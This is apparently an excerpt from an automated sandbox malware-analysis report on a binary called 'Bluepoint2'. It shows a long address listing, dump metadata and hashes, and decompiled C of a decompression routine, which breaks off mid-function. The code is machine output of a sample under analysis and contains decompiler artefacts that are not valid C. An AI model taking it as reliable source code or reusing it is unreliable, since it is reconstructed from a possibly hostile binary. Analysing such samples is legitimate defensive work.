                                                    0x00407147
                                                    0x0040714e
                                                    0x00407151
                                                    0x00407154
                                                    0x00407149
                                                    0x00407149
                                                    0x00407149
                                                    0x00407157
                                                    0x0040715a
                                                    0x0040715d
                                                    0x0040715d
                                                    0x00407160
                                                    0x00407163
                                                    0x00407166
                                                    0x00407166
                                                    0x00407169
                                                    0x00407170
                                                    0x00407175
                                                    0x00000000
                                                    0x00000000
                                                    0x00407203
                                                    0x00407203
                                                    0x00407207
                                                    0x004075a5
                                                    0x00000000
                                                    0x004075a5
                                                    0x0040720d
                                                    0x00407210
                                                    0x00407213
                                                    0x00407217
                                                    0x0040721a
                                                    0x00407220
                                                    0x00407222
                                                    0x00407222
                                                    0x00407222
                                                    0x00407225
                                                    0x00407228
                                                    0x00000000
                                                    0x00000000
                                                    0x00406df8
                                                    0x00406df8
                                                    0x00406dfc
                                                    0x00407569
                                                    0x00000000
                                                    0x00407569
                                                    0x00406e02
                                                    0x00406e05
                                                    0x00406e08
                                                    0x00406e0c
                                                    0x00406e0f
                                                    0x00406e15
                                                    0x00406e17
                                                    0x00406e17
                                                    0x00406e17
                                                    0x00406e1a
                                                    0x00406e1d
                                                    0x00406e1d
                                                    0x00406e20
                                                    0x00406e23
                                                    0x00000000
                                                    0x00000000
                                                    0x00406e29
                                                    0x00406e2f
                                                    0x00000000
                                                    0x00000000
                                                    0x00406e35
                                                    0x00406e35
                                                    0x00406e39
                                                    0x00406e3c
                                                    0x00406e3f
                                                    0x00406e42
                                                    0x00406e45
                                                    0x00406e46
                                                    0x00406e49
                                                    0x00406e4b
                                                    0x00406e51
                                                    0x00406e54
                                                    0x00406e57
                                                    0x00406e5a
                                                    0x00406e5d
                                                    0x00406e60
                                                    0x00406e63
                                                    0x00406e7f
                                                    0x00406e82
                                                    0x00406e85
                                                    0x00406e88
                                                    0x00406e8f
                                                    0x00406e93
                                                    0x00406e95
                                                    0x00406e99
                                                    0x00406e65
                                                    0x00406e65
                                                    0x00406e69
                                                    0x00406e71
                                                    0x00406e76
                                                    0x00406e78
                                                    0x00406e7a
                                                    0x00406e7a
                                                    0x00406e9c
                                                    0x00406ea3
                                                    0x00406ea6
                                                    0x00000000
                                                    0x00406eac
                                                    0x00000000
                                                    0x00406eac
                                                    0x00000000
                                                    0x00406eb1
                                                    0x00406eb1
                                                    0x00406eb5
                                                    0x00407575
                                                    0x00000000
                                                    0x00407575
                                                    0x00406ebb
                                                    0x00406ebe
                                                    0x00406ec1
                                                    0x00406ec5
                                                    0x00406ec8
                                                    0x00406ece
                                                    0x00406ed0
                                                    0x00406ed0
                                                    0x00406ed0
                                                    0x00406ed3
                                                    0x00406ed6
                                                    0x00406ed6
                                                    0x00406ed6
                                                    0x00406edc
                                                    0x00000000
                                                    0x00000000
                                                    0x00406ede
                                                    0x00406ee1
                                                    0x00406ee4
                                                    0x00406ee7
                                                    0x00406eea
                                                    0x00406eed
                                                    0x00406ef0
                                                    0x00406ef3
                                                    0x00406ef6
                                                    0x00406ef9
                                                    0x00406efc
                                                    0x00406f14
                                                    0x00406f17
                                                    0x00406f1a
                                                    0x00406f1d
                                                    0x00406f1d
                                                    0x00406f20
                                                    0x00406f24
                                                    0x00406f26
                                                    0x00406efe
                                                    0x00406efe
                                                    0x00406f06
                                                    0x00406f0b
                                                    0x00406f0d
                                                    0x00406f0f
                                                    0x00406f0f
                                                    0x00406f29
                                                    0x00406f30
                                                    0x00406f33
                                                    0x00000000
                                                    0x00406f35
                                                    0x00000000
                                                    0x00406f35
                                                    0x00406f33
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00000000
                                                    0x00000000
                                                    0x00406f75
                                                    0x00406f75
                                                    0x00406f79
                                                    0x00407581
                                                    0x00000000
                                                    0x00407581
                                                    0x00406f7f
                                                    0x00406f82
                                                    0x00406f85
                                                    0x00406f89
                                                    0x00406f8c
                                                    0x00406f92
                                                    0x00406f94
                                                    0x00406f94
                                                    0x00406f94
                                                    0x00406f97
                                                    0x00406f9a
                                                    0x00406f9a
                                                    0x00406fa0
                                                    0x00406f3e
                                                    0x00406f3e
                                                    0x00406f41
                                                    0x00000000
                                                    0x00406f41
                                                    0x00406fa2
                                                    0x00406fa2
                                                    0x00406fa5
                                                    0x00406fa8
                                                    0x00406fab
                                                    0x00406fae
                                                    0x00406fb1
                                                    0x00406fb4
                                                    0x00406fb7
                                                    0x00406fba
                                                    0x00406fbd
                                                    0x00406fc0
                                                    0x00406fd8
                                                    0x00406fdb
                                                    0x00406fde
                                                    0x00406fe1
                                                    0x00406fe1
                                                    0x00406fe4
                                                    0x00406fe8
                                                    0x00406fea
                                                    0x00406fc2
                                                    0x00406fc2
                                                    0x00406fca
                                                    0x00406fcf
                                                    0x00406fd1
                                                    0x00406fd3
                                                    0x00406fd3
                                                    0x00406fed
                                                    0x00406ff4
                                                    0x00406ff7
                                                    0x00000000
                                                    0x00406ff9
                                                    0x00000000
                                                    0x00406ff9
                                                    0x00000000
                                                    0x00407286
                                                    0x00407286
                                                    0x0040728a
                                                    0x004075b1
                                                    0x00000000
                                                    0x004075b1
                                                    0x00407290
                                                    0x00407293
                                                    0x00407296
                                                    0x0040729a
                                                    0x0040729d
                                                    0x004072a3
                                                    0x004072a5
                                                    0x004072a5
                                                    0x004072a5
                                                    0x004072a8
                                                    0x00000000
                                                    0x00000000
                                                    0x00407056
                                                    0x00407056
                                                    0x00407059
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00407452
                                                    0x00407456
                                                    0x00407474
                                                    0x00407474
                                                    0x00407474
                                                    0x0040747b
                                                    0x00407482
                                                    0x00000000
                                                    0x00407482
                                                    0x00407458
                                                    0x0040745b
                                                    0x0040745e
                                                    0x00407461
                                                    0x00407468
                                                    0x00000000
                                                    0x00000000
                                                    0x00407543
                                                    0x00407546
                                                    0x00407447
                                                    0x00407447
                                                    0x00000000
                                                    0x00000000
                                                    0x0040717d
                                                    0x0040717f
                                                    0x00407186
                                                    0x00407187
                                                    0x00407189
                                                    0x0040718c
                                                    0x00000000
                                                    0x00000000
                                                    0x00407194
                                                    0x00407197
                                                    0x0040719a
                                                    0x0040719c
                                                    0x0040719e
                                                    0x0040719e
                                                    0x0040719f
                                                    0x004071a2
                                                    0x004071a9
                                                    0x004071ac
                                                    0x004071ba
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x0040749f
                                                    0x0040749f
                                                    0x004074a3
                                                    0x004075db
                                                    0x00000000
                                                    0x004075db
                                                    0x004074a9
                                                    0x004074ac
                                                    0x004074af
                                                    0x004074b3
                                                    0x004074b6
                                                    0x004074bc
                                                    0x004074be
                                                    0x004074be
                                                    0x004074be
                                                    0x004074c1
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c4
                                                    0x00000000
                                                    0x00000000
                                                    0x004071c2
                                                    0x004071c5
                                                    0x004071fb
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732e
                                                    0x0040732e
                                                    0x00407331
                                                    0x00407333
                                                    0x004075bd
                                                    0x00000000
                                                    0x004075bd
                                                    0x00407339
                                                    0x0040733c
                                                    0x00000000
                                                    0x00000000
                                                    0x00407342
                                                    0x00407346
                                                    0x00407349
                                                    0x00407349
                                                    0x00407349
                                                    0x00000000
                                                    0x00407349
                                                    0x004071c7
                                                    0x004071c9
                                                    0x004071cb
                                                    0x004071cd
                                                    0x004071d0
                                                    0x004071d1
                                                    0x004071d3
                                                    0x004071d5
                                                    0x004071d8
                                                    0x004071db
                                                    0x004071f1
                                                    0x004071f6
                                                    0x0040722e
                                                    0x0040722e
                                                    0x00407232
                                                    0x0040725e
                                                    0x00407260
                                                    0x00407267
                                                    0x0040726a
                                                    0x0040726d
                                                    0x0040726d
                                                    0x00407272
                                                    0x00407272
                                                    0x00407274
                                                    0x00407277
                                                    0x0040727e
                                                    0x00407281
                                                    0x004072ae
                                                    0x004072ae
                                                    0x004072b1
                                                    0x004072b4
                                                    0x00407328
                                                    0x00407328
                                                    0x00407328
                                                    0x00000000
                                                    0x00407328
                                                    0x004072b6
                                                    0x004072bc
                                                    0x004072bf
                                                    0x004072c2
                                                    0x004072c5
                                                    0x004072c8
                                                    0x004072cb
                                                    0x004072ce
                                                    0x004072d1
                                                    0x004072d4
                                                    0x004072d7
                                                    0x004072f0
                                                    0x004072f2
                                                    0x004072f5
                                                    0x004072f6
                                                    0x004072f9
                                                    0x004072fb
                                                    0x004072fe
                                                    0x00407300
                                                    0x00407302
                                                    0x00407305
                                                    0x00407307
                                                    0x0040730a
                                                    0x0040730e
                                                    0x00407310
                                                    0x00407310
                                                    0x00407311
                                                    0x00407314
                                                    0x00407317
                                                    0x004072d9
                                                    0x004072d9
                                                    0x004072e1
                                                    0x004072e6
                                                    0x004072e8
                                                    0x004072eb
                                                    0x004072eb
                                                    0x0040731a
                                                    0x00407321
                                                    0x004072ab
                                                    0x004072ab
                                                    0x004072ab
                                                    0x004072ab
                                                    0x00000000
                                                    0x00407323
                                                    0x00000000
                                                    0x00407323
                                                    0x00407321
                                                    0x00407234
                                                    0x00407237
                                                    0x00407239
                                                    0x0040723c
                                                    0x0040723f
                                                    0x00407242
                                                    0x00407244
                                                    0x00407247
                                                    0x0040724a
                                                    0x0040724a
                                                    0x0040724d
                                                    0x0040724d
                                                    0x00407250
                                                    0x00407257
                                                    0x0040722b
                                                    0x0040722b
                                                    0x0040722b
                                                    0x0040722b
                                                    0x00000000
                                                    0x00407259
                                                    0x00000000
                                                    0x00407259
                                                    0x00407257
                                                    0x004071dd
                                                    0x004071e0
                                                    0x004071e2
                                                    0x004071e5
                                                    0x00000000
                                                    0x00000000
                                                    0x00406f44
                                                    0x00406f44
                                                    0x00406f48
                                                    0x0040758d
                                                    0x00000000
                                                    0x0040758d
                                                    0x00406f4e
                                                    0x00406f51
                                                    0x00406f54
                                                    0x00406f57
                                                    0x00406f5a
                                                    0x00406f5d
                                                    0x00406f60
                                                    0x00406f62
                                                    0x00406f65
                                                    0x00406f68
                                                    0x00406f6b
                                                    0x00406f6d
                                                    0x00406f6d
                                                    0x00406f6d
                                                    0x00000000
                                                    0x00000000
                                                    0x004070cf
                                                    0x004070cf
                                                    0x004070d3
                                                    0x00407599
                                                    0x00000000
                                                    0x00407599
                                                    0x004070d9
                                                    0x004070dc
                                                    0x004070df
                                                    0x004070e2
                                                    0x004070e4
                                                    0x004070e4
                                                    0x004070e4
                                                    0x004070e7
                                                    0x004070ea
                                                    0x004070ed
                                                    0x004070f0
                                                    0x004070f3
                                                    0x004070f6
                                                    0x004070f7
                                                    0x004070f9
                                                    0x004070f9
                                                    0x004070f9
                                                    0x004070fc
                                                    0x004070ff
                                                    0x00407102
                                                    0x00407105
                                                    0x00407105
                                                    0x00407105
                                                    0x00407108
                                                    0x0040710a
                                                    0x0040710a
                                                    0x00000000
                                                    0x00000000
                                                    0x0040734c
                                                    0x0040734c
                                                    0x0040734c
                                                    0x00407350
                                                    0x00000000
                                                    0x00000000
                                                    0x00407356
                                                    0x00407359
                                                    0x0040735c
                                                    0x0040735f
                                                    0x00407361
                                                    0x00407361
                                                    0x00407361
                                                    0x00407364
                                                    0x00407367
                                                    0x0040736a
                                                    0x0040736d
                                                    0x00407370
                                                    0x00407373
                                                    0x00407374
                                                    0x00407376
                                                    0x00407376
                                                    0x00407376
                                                    0x00407379
                                                    0x0040737c
                                                    0x0040737f
                                                    0x00407382
                                                    0x00407385
                                                    0x00407389
                                                    0x0040738b
                                                    0x0040738e
                                                    0x00000000
                                                    0x00407390
                                                    0x0040710d
                                                    0x0040710d
                                                    0x00000000
                                                    0x0040710d
                                                    0x0040738e
                                                    0x004075c3
                                                    0x004075e5
                                                    0x004075eb
                                                    0x004075ed
                                                    0x004075f4
                                                    0x004075f6
                                                    0x004075fd
                                                    0x00407601
                                                    0x00000000
                                                    0x00406bf2
                                                    0x004075fa
                                                    0x004075fa
                                                    0x00000000
                                                    0x004075fa
                                                    0x00407447
                                                    0x004074cd
                                                    0x004074d3
                                                    0x004074d6
                                                    0x004074d9
                                                    0x004074dc
                                                    0x004074df
                                                    0x004074e2
                                                    0x004074e5
                                                    0x004074e8
                                                    0x004074ee
                                                    0x00407507
                                                    0x0040750a
                                                    0x0040750d
                                                    0x00407510
                                                    0x00407514
                                                    0x00407516
                                                    0x00407517
                                                    0x0040751a
                                                    0x004074f0
                                                    0x004074f0
                                                    0x004074f8
                                                    0x004074fd
                                                    0x004074ff
                                                    0x00407502
                                                    0x00407502
                                                    0x00407524
                                                    0x00000000
                                                    0x00407526
                                                    0x00000000
                                                    0x00407526
                                                    0x00407524
                                                    0x00000000
                                                    0x00407399

                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 97748a737734167d5846b9d8dd4738ada3f75d0b833fdafa89234df63502b4a5
                                                    • Instruction ID: d49815ad38d406b3cd0a1a90ea7be1526168d9e39684835ffa6a026ef1ef4849
                                                    • Opcode Fuzzy Hash: 97748a737734167d5846b9d8dd4738ada3f75d0b833fdafa89234df63502b4a5
                                                    • Instruction Fuzzy Hash: 91913270D04228DBEF28CF98C8547ADBBB1FF44305F14816AD856BB281D778A986DF45
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 98%
                                                    			E004070AB() {
                                                    				unsigned short _t532;
                                                    				signed int _t533;
                                                    				void _t534;
                                                    				void* _t535;
                                                    				signed int _t536;
                                                    				signed int _t565;
                                                    				signed int _t568;
                                                    				signed int _t589;
                                                    				signed int* _t606;
                                                    				void* _t613;
                                                    
                                                    				L0:
                                                    				while(1) {
                                                    					L0:
                                                    					if( *(_t613 - 0x40) != 0) {
                                                    						L89:
                                                    						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
                                                    						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
                                                    						L69:
                                                    						_t606 =  *(_t613 - 0x58);
                                                    						 *(_t613 - 0x84) = 0x12;
                                                    						L132:
                                                    						 *(_t613 - 0x54) = _t606;
                                                    						L133:
                                                    						_t532 =  *_t606;
                                                    						_t589 = _t532 & 0x0000ffff;
                                                    						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                    						if( *(_t613 - 0xc) >= _t565) {
                                                    							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                    							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                    							 *(_t613 - 0x40) = 1;
                                                    							_t533 = _t532 - (_t532 >> 5);
                                                    							 *_t606 = _t533;
                                                    						} else {
                                                    							 *(_t613 - 0x10) = _t565;
                                                    							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                    							 *_t606 = (0x800 - _t589 >> 5) + _t532;
                                                    						}
                                                    						if( *(_t613 - 0x10) >= 0x1000000) {
                                                    							L139:
                                                    							_t534 =  *(_t613 - 0x84);
                                                    							L140:
                                                    							 *(_t613 - 0x88) = _t534;
                                                    							goto L1;
                                                    						} else {
                                                    							L137:
                                                    							if( *(_t613 - 0x6c) == 0) {
                                                    								 *(_t613 - 0x88) = 5;
                                                    								goto L170;
                                                    							}
                                                    							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
                                                    							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                    							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                    							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                    							goto L139;
                                                    						}
                                                    					} else {
                                                    						if( *(__ebp - 0x60) == 0) {
                                                    							L171:
                                                    							_t536 = _t535 | 0xffffffff;
                                                    							L172:
                                                    							return _t536;
                                                    						}
                                                    						__eax = 0;
                                                    						_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                                    						0 | _t258 = _t258 + _t258 + 9;
                                                    						 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                                    						L75:
                                                    						if( *(__ebp - 0x64) == 0) {
                                                    							 *(__ebp - 0x88) = 0x1b;
                                                    							L170:
                                                    							_t568 = 0x22;
                                                    							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
                                                    							_t536 = 0;
                                                    							goto L172;
                                                    						}
                                                    						__eax =  *(__ebp - 0x14);
                                                    						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    						if(__eax >=  *(__ebp - 0x74)) {
                                                    							__eax = __eax +  *(__ebp - 0x74);
                                                    						}
                                                    						__edx =  *(__ebp - 8);
                                                    						__cl =  *(__eax + __edx);
                                                    						__eax =  *(__ebp - 0x14);
                                                    						 *(__ebp - 0x5c) = __cl;
                                                    						 *(__eax + __edx) = __cl;
                                                    						__eax = __eax + 1;
                                                    						__edx = 0;
                                                    						_t274 = __eax %  *(__ebp - 0x74);
                                                    						__eax = __eax /  *(__ebp - 0x74);
                                                    						__edx = _t274;
                                                    						__eax =  *(__ebp - 0x68);
                                                    						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                    						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    						_t283 = __ebp - 0x64;
                                                    						 *_t283 =  *(__ebp - 0x64) - 1;
                                                    						 *( *(__ebp - 0x68)) = __cl;
                                                    						L79:
                                                    						 *(__ebp - 0x14) = __edx;
                                                    						L80:
                                                    						 *(__ebp - 0x88) = 2;
                                                    					}
                                                    					L1:
                                                    					_t535 =  *(_t613 - 0x88);
                                                    					if(_t535 > 0x1c) {
                                                    						goto L171;
                                                    					}
                                                    					switch( *((intOrPtr*)(_t535 * 4 +  &M00407602))) {
                                                    						case 0:
                                                    							if( *(_t613 - 0x6c) == 0) {
                                                    								goto L170;
                                                    							}
                                                    							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                    							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                    							_t535 =  *( *(_t613 - 0x70));
                                                    							if(_t535 > 0xe1) {
                                                    								goto L171;
                                                    							}
                                                    							_t539 = _t535 & 0x000000ff;
                                                    							_push(0x2d);
                                                    							asm("cdq");
                                                    							_pop(_t570);
                                                    							_push(9);
                                                    							_pop(_t571);
                                                    							_t609 = _t539 / _t570;
                                                    							_t541 = _t539 % _t570 & 0x000000ff;
                                                    							asm("cdq");
                                                    							_t604 = _t541 % _t571 & 0x000000ff;
                                                    							 *(_t613 - 0x3c) = _t604;
                                                    							 *(_t613 - 0x1c) = (1 << _t609) - 1;
                                                    							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
                                                    							_t612 = (0x300 << _t604 + _t609) + 0x736;
                                                    							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
                                                    								L10:
                                                    								if(_t612 == 0) {
                                                    									L12:
                                                    									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
                                                    									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                    									goto L15;
                                                    								} else {
                                                    									goto L11;
                                                    								}
                                                    								do {
                                                    									L11:
                                                    									_t612 = _t612 - 1;
                                                    									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
                                                    								} while (_t612 != 0);
                                                    								goto L12;
                                                    							}
                                                    							if( *(_t613 - 4) != 0) {
                                                    								GlobalFree( *(_t613 - 4));
                                                    							}
                                                    							_t535 = GlobalAlloc(0x40, 0x600); // executed
                                                    							 *(_t613 - 4) = _t535;
                                                    							if(_t535 == 0) {
                                                    								goto L171;
                                                    							} else {
                                                    								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
                                                    								goto L10;
                                                    							}
                                                    						case 1:
                                                    							L13:
                                                    							__eflags =  *(_t613 - 0x6c);
                                                    							if( *(_t613 - 0x6c) == 0) {
                                                    								 *(_t613 - 0x88) = 1;
                                                    								goto L170;
                                                    							}
                                                    							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                    							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
                                                    							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                    							_t45 = _t613 - 0x48;
                                                    							 *_t45 =  *(_t613 - 0x48) + 1;
                                                    							__eflags =  *_t45;
                                                    							L15:
                                                    							if( *(_t613 - 0x48) < 4) {
                                                    								goto L13;
                                                    							}
                                                    							_t547 =  *(_t613 - 0x40);
                                                    							if(_t547 ==  *(_t613 - 0x74)) {
                                                    								L20:
                                                    								 *(_t613 - 0x48) = 5;
                                                    								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
                                                    								goto L23;
                                                    							}
                                                    							 *(_t613 - 0x74) = _t547;
                                                    							if( *(_t613 - 8) != 0) {
                                                    								GlobalFree( *(_t613 - 8));
                                                    							}
                                                    							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
                                                    							 *(_t613 - 8) = _t535;
                                                    							if(_t535 == 0) {
                                                    								goto L171;
                                                    							} else {
                                                    								goto L20;
                                                    							}
                                                    						case 2:
                                                    							L24:
                                                    							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
                                                    							 *(_t613 - 0x84) = 6;
                                                    							 *(_t613 - 0x4c) = _t554;
                                                    							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
                                                    							goto L132;
                                                    						case 3:
                                                    							L21:
                                                    							__eflags =  *(_t613 - 0x6c);
                                                    							if( *(_t613 - 0x6c) == 0) {
                                                    								 *(_t613 - 0x88) = 3;
                                                    								goto L170;
                                                    							}
                                                    							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                    							_t67 = _t613 - 0x70;
                                                    							 *_t67 =  &(( *(_t613 - 0x70))[1]);
                                                    							__eflags =  *_t67;
                                                    							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                    							L23:
                                                    							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
                                                    							if( *(_t613 - 0x48) != 0) {
                                                    								goto L21;
                                                    							}
                                                    							goto L24;
                                                    						case 4:
                                                    							goto L133;
                                                    						case 5:
                                                    							goto L137;
                                                    						case 6:
                                                    							__edx = 0;
                                                    							__eflags =  *(__ebp - 0x40);
                                                    							if( *(__ebp - 0x40) != 0) {
                                                    								__eax =  *(__ebp - 4);
                                                    								__ecx =  *(__ebp - 0x38);
                                                    								 *(__ebp - 0x34) = 1;
                                                    								 *(__ebp - 0x84) = 7;
                                                    								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                    								goto L132;
                                                    							}
                                                    							__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                    							__esi =  *(__ebp - 0x60);
                                                    							__cl = 8;
                                                    							__cl = 8 -  *(__ebp - 0x3c);
                                                    							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                    							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                    							__ecx =  *(__ebp - 0x3c);
                                                    							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                    							__ecx =  *(__ebp - 4);
                                                    							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                    							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                    							__eflags =  *(__ebp - 0x38) - 4;
                                                    							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                    							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                    							if( *(__ebp - 0x38) >= 4) {
                                                    								__eflags =  *(__ebp - 0x38) - 0xa;
                                                    								if( *(__ebp - 0x38) >= 0xa) {
                                                    									_t98 = __ebp - 0x38;
                                                    									 *_t98 =  *(__ebp - 0x38) - 6;
                                                    									__eflags =  *_t98;
                                                    								} else {
                                                    									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                    								}
                                                    							} else {
                                                    								 *(__ebp - 0x38) = 0;
                                                    							}
                                                    							__eflags =  *(__ebp - 0x34) - __edx;
                                                    							if( *(__ebp - 0x34) == __edx) {
                                                    								__ebx = 0;
                                                    								__ebx = 1;
                                                    								goto L61;
                                                    							} else {
                                                    								__eax =  *(__ebp - 0x14);
                                                    								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    								__eflags = __eax -  *(__ebp - 0x74);
                                                    								if(__eax >=  *(__ebp - 0x74)) {
                                                    									__eax = __eax +  *(__ebp - 0x74);
                                                    									__eflags = __eax;
                                                    								}
                                                    								__ecx =  *(__ebp - 8);
                                                    								__ebx = 0;
                                                    								__ebx = 1;
                                                    								__al =  *((intOrPtr*)(__eax + __ecx));
                                                    								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                    								goto L41;
                                                    							}
                                                    						case 7:
                                                    							__eflags =  *(__ebp - 0x40) - 1;
                                                    							if( *(__ebp - 0x40) != 1) {
                                                    								__eax =  *(__ebp - 0x24);
                                                    								 *(__ebp - 0x80) = 0x16;
                                                    								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                    								__eax =  *(__ebp - 0x28);
                                                    								 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                    								__eax =  *(__ebp - 0x2c);
                                                    								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                    								__eax = 0;
                                                    								__eflags =  *(__ebp - 0x38) - 7;
                                                    								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    								__al = __al & 0x000000fd;
                                                    								__eax = (__eflags >= 0) - 1 + 0xa;
                                                    								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                    								__eax =  *(__ebp - 4);
                                                    								__eax =  *(__ebp - 4) + 0x664;
                                                    								__eflags = __eax;
                                                    								 *(__ebp - 0x58) = __eax;
                                                    								goto L69;
                                                    							}
                                                    							__eax =  *(__ebp - 4);
                                                    							__ecx =  *(__ebp - 0x38);
                                                    							 *(__ebp - 0x84) = 8;
                                                    							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                    							goto L132;
                                                    						case 8:
                                                    							__eflags =  *(__ebp - 0x40);
                                                    							if( *(__ebp - 0x40) != 0) {
                                                    								__eax =  *(__ebp - 4);
                                                    								__ecx =  *(__ebp - 0x38);
                                                    								 *(__ebp - 0x84) = 0xa;
                                                    								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                    							} else {
                                                    								__eax =  *(__ebp - 0x38);
                                                    								__ecx =  *(__ebp - 4);
                                                    								__eax =  *(__ebp - 0x38) + 0xf;
                                                    								 *(__ebp - 0x84) = 9;
                                                    								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                    								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                    							}
                                                    							goto L132;
                                                    						case 9:
                                                    							goto L0;
                                                    						case 0xa:
                                                    							__eflags =  *(__ebp - 0x40);
                                                    							if( *(__ebp - 0x40) != 0) {
                                                    								__eax =  *(__ebp - 4);
